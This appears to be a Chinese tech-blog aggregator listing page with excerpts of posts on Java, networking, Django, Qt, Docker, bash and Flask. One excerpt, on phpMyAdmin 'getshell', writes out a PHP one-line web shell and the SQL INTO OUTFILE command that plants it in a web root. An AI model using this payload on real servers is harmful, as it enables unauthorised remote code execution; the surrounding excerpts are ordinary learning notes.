一个非科班出生Java程序员的阿里之路:JVM+分布式+Spring+数据库

拿到 阿里实习offer,经历了5次面试,其中4轮技术面,1轮HR面试。在这里分享一下自己的面试经验和学习总结。希望能够帮助更多的小伙伴。
分类: 编程语言 发布时间: 10-30 22:40 阅读次数: 0

network (20191029)

vlan控制广播增加安全提高带宽利用率延迟降低vlan可以创建4096个,范围是0~4095,但普通交换机在1000+左右vlan配置方法:1,创建所需的vlan2,将接口加入对应的vlanvlan2创建vlan2vlan3undovlan3删除vlan3vlanbatch3to5批量创建undovlanbatch3to5批量删除ine0/0/3portlink-typeaccess修改接口类型,
分类: 企业开发 发布时间: 10-30 22:40 阅读次数: 0

shell里if结构条件句单分支 双分支 多分支怎么写?

shell里if结构条件句单分支 双分支 多分支怎么写?
分类: 编程语言 发布时间: 10-30 22:40 阅读次数: 0

CIKERS Shane 20191030

昨天到今天的这一晚,又只睡了4个小时。所以最终感冒加重了,今天停了咖啡,结果一天睡着好几次,睡了两次八十多分钟的趴桌上觉…….  CIKERS足球队今天踢北大校友赵田力朋友队,估计踢不过?
分类: 其他 发布时间: 10-30 22:40 阅读次数: 0

OSPF虚链路互通实验

用虚链路实现互通
分类: 企业开发 发布时间: 10-30 22:40 阅读次数: 0

django之ORM介绍

ORM 在进入ORM之前,先看一下传统的操作数据库的方式: import pymysql db = pymysql.connect(db= "guest", user="root", passwd="", host="127.0.0.1",) cursor = db.cursor() cursor.execute("select realname from sign_guest order by create_time") name
分类: 其他 发布时间: 10-30 22:34 阅读次数: 0

QT自定义信号和槽

最近项目中使用到QT,在此记录一下QT的核心,信号与槽: QObject::connect(const QObject *sender, const char *signal, const QObject *receiver, const char *method, Qt::ConnectionType type = Qt::AutoConnection) sender:信号发出者 signal:发送信号 receiver:信号接收者 method:信号处理者 新建一个QT窗口,在窗口上放一个
分类: 其他 发布时间: 10-30 22:34 阅读次数: 0

Java学习笔记十一--集合二

set中的add方法不能存在重复元素,,其重写equals和hashcode方法, 常见的实现类有Hashset(),Linkedhashset,Treeset HashSet方法 保证唯一性是通过hashcode和equals方法; 哈希表底层使用数组机制,数组中存储对象,而这些对象的存储位置比较特殊,会根据这些对象的特殊数据结合相应的算法,计算出对象的位置,然后存放在数组中,这样的数组叫哈希数组,也就是哈希表。 写自定义类(有属性的)必须重写hashcode和equals,toString
分类: 其他 发布时间: 10-30 22:34 阅读次数: 0

Docker入门以及漏洞环境搭建(10.23 第二十五天)

Docker:开源的应用程序容器引擎,使用Go语言。借助于docker打包的应用程序,将这些应用程序 包含在容器里面,在容器中实现虚拟化,容器使用的是沙箱机制,相互独立,占用资源非常少。 Docker三个概念: 镜像:image,docker镜像是一个只读的模板,比如我们在镜像中包含完整的操作系统,在操作系统中可以安装LAMP环境,镜像可以创建容器。 容器:container,docker利用容器运行程序,容器是镜像中创建运行的实例,容器可以运行、关闭、删除的。 仓库:repository,集
分类: 其他 发布时间: 10-30 22:34 阅读次数: 0

2019-2020-1学期20192429《网络空间安全专业导论》第四周学习总结

2019-2020-1学期20192429《网络空间安全专业导论》第四周学习总结 # 第八章 抽象数据类型与子程序 # 8.1 抽象数据类型 抽象数据类型(Abstract Data Type,ADT):属性(数据和操作)明确地与特定实现分离的容器 目标:通过抽象减小复杂度。 Q:如何通过抽象减小复杂度 计算机领域,可以通过从应用层,逻辑三个方面观察数据层和实现层 应用(或用户)层:特定问题中的数据的视图 逻辑(或抽象)层:数据值(域)和处理它们操作的抽象视图 实
分类: 其他 发布时间: 10-30 22:34 阅读次数: 0

postman + restsharp 做Http请求爬虫

1、Postman 模拟请求完成之后,点击右上角的 code 按钮,复制代码。 2、在Vs2019 Nuget 包管理器中 添加 restsharp.dll, 3、粘贴到 Vs2019 中,运行即可,即可进行Http 请求。 PS: 需要预登陆时,预登陆请求获得的Session相关的Cookie,需要放到数据请求的cookie中。
分类: 其他 发布时间: 10-30 22:34 阅读次数: 0

2019 年 10 月训练赛(10.30)

2019 年 10 月训练赛 题目名称 相似围栏 路径异或 路径乘积 程序文件名 fence pathxor waymul 输入文件名 fence.in pathxor.in waymul.in 输出文件名 fence.out pathxor.out waymul.out 每个测试点时限 1 sec 1 sec 4 sec 测试点数目 10 10 10 每个测试点分值 10 10 10 内存限制 256m 256m 512m 题目类型 传统型 传统型 传统型 1. 相似围栏 (fence.pa
分类: 其他 发布时间: 10-30 22:34 阅读次数: 0

RYU安装教程

一、使用pip的形式安装RYU 1.首先检查ubuntu中是否存在pip,命令为 sudo pip3 --version 2.如果存在则使用默认版本8.1.1就行不必跟新,否则自己下载一个pip 3.安装ryu命令 sudo pip install ryu -i https://pypi.douban.com/simple 4.安装完成后使用命令查看ryu安装的位置 sudo pip show ryu 5.进入到ryu目录使用命令查看ryu是否能够运行 sudo ryu-manager 6.或
分类: 其他 发布时间: 10-30 22:34 阅读次数: 0

Django之cookie与session、中间件

目录 cookie与session 为什么会有cookie和session cookie 设置cookie 获取cookie 删除cookie 实例:cookie版登录校验 session 设置session 获取session 删除session session也可以设置超时时间 实例:session版登录校验 django中间件 应用场景 自定义方法 django请求生命周期流程图 中间件之前端操作 跨站请求伪造(csrf) 钓鱼网站实例 防钓鱼网站策略 CBV加装饰器 csrf_exem
分类: 其他 发布时间: 10-30 22:34 阅读次数: 0

PHPmyadmin Getshell(10.25 第二十七天)

PHPmyadmin Getshell的方法 (1)show global variables like '% secure-file-priv%' 如果该参数设置为空或者指定的文件夹可以利用,然后写木马。 select "<?php @eval($_POST[k]);?>" into outfile "/var/www/html/conf.php"; (2)利用日志文件getshell 常见的日志文件分为业务日志(常见服务)和系统日志(windows、linux),利用phpmyadmin的
分类: 其他 发布时间: 10-30 22:34 阅读次数: 0

bash 技巧

本文主要记录一些bash的语法,备忘 1. 进制转换 $ echo $(( 2#11 )) 3 $ echo $(( 16#1E )) 30 即将指定进制的数转为10进制,例如上面是将16进制的数1E转为10进制,所以结果是30。 2. 查看变量值由多少个字符组成 $ a="Hello world"; echo ${#a} 11 参考:bash 算式
分类: 其他 发布时间: 10-30 22:34 阅读次数: 0

[BZOJ 1535] [Luogu 3426]SZA-Template (KMP+fail树+双向链表)

[BZOJ 1535] [Luogu 3426]SZA-Template (KMP+fail树+双向链表) 题面 Byteasar 想在墙上涂一段很长的字符,他为了做这件事从字符的前面一段中截取了一段作为模版. 然后将模版重复喷涂到相应的位置后就得到了他想要的字符序列.一个字符可以被喷涂很多次,但是一个位置不能喷涂不同的字符.做一个模版很费工夫,所以他想要模版的长度尽量小,求最小长度是多少. 拿样例来说ababbababbabababbabababbababbaba , 模版为前8个字符aba
分类: 其他 发布时间: 10-30 22:34 阅读次数: 0

居然要周末加班才解决这个问题

摘要 万万没想到,最近的一个任务居然在一周没有解决,弄得周六在家忙了一天,还没完成,直到周日早上灵光一闪,才完成了。坦白讲,我已经好久没有过这种体验了,被一个技术问题困扰了好几天,如此这般茫然失措,不过好在最后问题解决了。虽然这个任务可能你不会遇到特别相似的,但是我还是想把问题的解决过程分享给大家,顺便聊聊如何解决技术问题。 问题背景 需要将一个开源的python项目接入到公司的微服务体系(主要是java)中。开源的项目下文统称opa。 opa项目底层依赖一些c++库,比如openImageI
分类: 其他 发布时间: 10-30 22:34 阅读次数: 0

那些最近工作中遇到的插件(上个世纪版)

es5-shim   es5-shim.js 是指在模拟不兼容es5语法的浏览器, 典型的ie 6/7/8浏览器 extract-text-webpack-plugin   他会将所有required的*.css模块抽取到分离的CSS文件, 所以你的样式不会内联到JS bundle, 而是在一个单独的CSS文件, 如果你的样式文件很大, 这样会提速, 因为CSS bundle和JS bundle 是平行加载的 使用 const ExtractTextPlugin = require("extr
分类: 其他 发布时间: 10-30 22:34 阅读次数: 0

flask四:URL两种传参方式(路径传参和get传参)

新建一个视图 第一种:路径传参:url/参数:<参数名>,然后再视图函数中接收参数 也可以指定数据类型 string:默认使用此数据类型,接收没有任何斜杠"\/"的文本 int:接收整形 float:接收浮点型 path:和string的类似,但是可以接受斜杠 uuid:只接收符合uuid的字符串,一般用于表的主键 使用uuid:10190dee-d9d4-4429-ad51-22f24c0a5ee1 any:可以指定多种数据类型。可以在一个url中映射多个资源 第二种:get传参:url?参
分类: 其他 发布时间: 10-30 22:34 阅读次数: 0